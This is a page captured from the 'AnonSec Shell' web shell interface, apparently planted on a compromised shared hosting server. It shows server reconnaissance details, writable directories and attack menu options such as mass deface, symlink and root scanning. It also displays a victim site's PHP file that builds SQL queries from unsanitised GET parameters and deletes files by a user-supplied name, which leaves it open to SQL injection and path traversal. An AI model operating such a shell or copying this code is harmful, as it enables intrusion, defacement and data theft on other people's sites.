AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/numder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/numder/delImg.php
<?php

session_start();

include('../include/class.php');

include('page.php');



$secrch = " `code` =  '" . @$_GET['code'] . "' AND `type` =  '" . @$_GET['type'] . "' AND `image` =  '" . @$_GET['img'] . "'";

$sql = array('table' => $name_table2, 'where' => $secrch);

$view_sql = $view_db->view($sql);

$row = $view_db->q($view_sql);



$secrch2 = " `code` =  '" . @$_GET['code'] . "'";

$sql2 = array('table' => $name_table, 'where' => $secrch2);

$view_sql2 = $view_db->view($sql2);

$row2 = $view_db->q($view_sql2);



$get_id	= $row['id'];

$name_img = @$_GET['img'];



@unlink($upload . $name_folderimg4 . "/" . $name_img);

@unlink($upload . $name_folderimg4 . "/thumb/" . $name_img);



$list = array(

	'table' => $name_table2,

	'id' => $get_id

);



$delete = $actiondata_db->delete($list);

//print_r($delete);

$_SESSION['er'] = 'de_true';

if ($delete['suc'] == 1) {

	$_SESSION['er'] = 'true';

	header("Location: edit.php?id=" . $row2['id']);
}

Anon7 - 2022
AnonSec Team